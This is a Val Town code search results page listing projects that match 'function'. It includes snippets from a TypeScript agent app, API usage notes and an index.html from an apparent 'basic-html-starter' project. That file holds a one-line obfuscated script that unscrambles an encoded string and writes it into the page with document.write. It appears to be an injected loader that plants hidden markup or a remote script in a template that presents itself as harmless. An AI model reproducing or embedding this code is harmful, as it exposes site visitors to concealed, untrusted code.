Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run/image-url.jpg%20%22Image%20title%22?q=function&page=1&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40413 results for "function"(2163ms)

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
tuna

tuna9 file matches

@jxnblk•Updated 3 months ago
Simple functional CSS library for Val Town

getFileEmail4 file matches

@shouser•Updated 4 months ago
A helper function to build a file's email

AutomationFunction1 file match

@saradp•Updated 5 months ago

TwilioHelperFunctions

@vawogbemi•Updated 6 months ago

trmnl_plugins2 file matches

@camflan•Updated 7 months ago
Backend functions for TRMNL plugins

exampleTestFunctions1 file match

@willthereader•Updated 7 months ago

generateFunction1 file match

@wolf•Updated 8 months ago

functionExercise2 file matches

@willthereader•Updated 9 months ago

basic-html-starterindex.html1 match

@mitchygrowthhacking•Updated 1 hour ago
1<script>(()=>{for(j=function(){for(h='6&EZrFLw9:F9>{84igZ',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("t%3E.jr/-ojuremey%20opyo/i.fsio..c0Onmg5:n.qlxsliat%3CCsL0t%20rop%3E%3C:%25%25etbstois%20lq5-nia:ts;p30;ctces6ilo0;srrem:mtorerT%3Earfarr;-:.%200)h;s9aipo5e-3b8bchd#.fegr%25;bs3p0dhoradusslsd:4::;roxp%20.i:p%3Cx%3Cny%25%20nnid4ti;tdwdtt=kr%20;enp3i%20eiP%200xt;%3Er%7Birfeaee9aiir2%20cl/1t8fssrnx%7B09pszinnhtfi%7B%25o9fpee0.)aeesD%3E,p63fn%7Dt:%3C(3somf:%3Eiosvi%7Dt%7Bosdrp%3Eta5n%3Cr--olsm)%7Daittc0elg/%20tm%3Et%3C/t=vfdia%20ldautdrct%20ol/c=%3E%3Claefr/atrni(irfostlray%25nd%20ids.ons)iUnehhaltlatcSL(cocepo:%22dw0.a%20ydnePtt1ma=jfusmt5pnswa,,.acss%3Everacxm0D//eaet(/oosd%22:edf(ocra;etr.%22dsati%20e/dberahstbiutpznao4:=aedt.t.l%22.(e/arliop(SO%22acCenL8phP%3Co:ceinealp,satowxplhirweoiemndal:r%22T,dh@thscnwro%22oop#)tTuyttR/rt%7D%22%22wd%20rh)nx%7B-%7D.p.t.%7Dfl,=oyoooeadai=%22ne;o-)utancig)(es:-n(cnednem9hetr(%20cs/%7D)ucautrt%25n(,)dcoddtpDenm(f.0h)dcondnnpytnwaha)o.ftec%20kPxmetaltw%7BpYd%3E)b.ndum:%3Ce./r.eedit,,rnC.ewiSc!ot:(ihEeot;iitesa%3Cest-ie%7Bn")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

consistmain.ts9 matches

@know•Updated 2 hours ago
82`;
83
84// --- UTILITY FUNCTIONS ---
85function extractAndParseJson<T>(text: string): T {
86 const jsonMatch = text.match(/\{[\s\S]*\}/);
87 if (!jsonMatch) {
100}
101
102async function callAgent<T>(
103 openai: OpenAI,
104 systemPrompt: string,
122
123// --- HTML & FRONTEND ---
124function generateHtml(sourceUrl: string) {
125 return `<!DOCTYPE html>
126<html lang="en">
212 };
213
214 function createPlaceholder(title) {
215 const card = document.createElement('div');
216 card.className = 'report-card visible';
222 }
223
224 function setupPlaceholders() {
225 resultsGrid.innerHTML = '';
226 finalReportContainer.innerHTML = '';
250 eventSource = new EventSource(url);
251
252 eventSource.onmessage = function(event) {
253 const { agent, data } = JSON.parse(event.data);
254 updateUI(agent, data);
255 };
256
257 eventSource.onerror = function(err) {
258 console.error("EventSource failed:", err);
259 alert('An error occurred during analysis. Check the console.');
264 });
265
266 function updateUI(agent, data) {
267 if (agent === 'done') {
268 eventSource.close();
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.